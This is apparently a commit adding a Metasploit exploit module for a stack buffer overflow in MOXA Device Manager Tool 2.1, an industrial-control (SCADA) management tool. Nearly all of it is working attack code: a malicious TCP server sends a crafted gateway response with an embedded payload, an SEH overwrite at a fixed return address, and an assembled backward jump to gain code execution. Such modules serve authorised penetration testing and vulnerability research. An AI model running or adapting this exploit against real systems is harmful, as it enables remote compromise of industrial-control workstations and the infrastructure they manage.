added exploit module moxa_mdmtool.rb

git-svn-id: file:///home/svn/framework3/trunk@10935 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/scada/moxa_mdmtool.rb

@@ -0,0 +1,81 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	Rank = GreatRanking
+
+	include Msf::Exploit::Remote::TcpServer
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in MOXA MDM Tool 2.1.
+				When sending a specially crafted MDMGw (MDM2_Gateway) response, an
+				attacker may be able to execute arbitrary code.
+			},
+			'Author'         => [ 'Ruben Santamarta', 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     => 
+				[
+					[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
+					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+					'InitialAutoRunScript' => 'migrate -f',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 600,
+					'BadChars' => "\x00\x0a\x0d\x20",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Oct 20 2010',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[ 
+				OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
+			], self.class)
+	end
+
+	def on_client_connect(client)
+
+                return if ((p = regenerate_payload(client)) == nil)
+
+		client.get_once
+
+		sploit = rand_text_alpha_upper(18024)
+
+		sploit[0, 4] = [0x29001028].pack('V')
+		sploit[472, payload.encoded.length] = payload.encoded
+		sploit[1072, 8] = generate_seh_record(target.ret)
+		sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
+
+		client.put(sploit)
+
+		handler(client)
+
+                service.close_client(client)
+
+	end
+end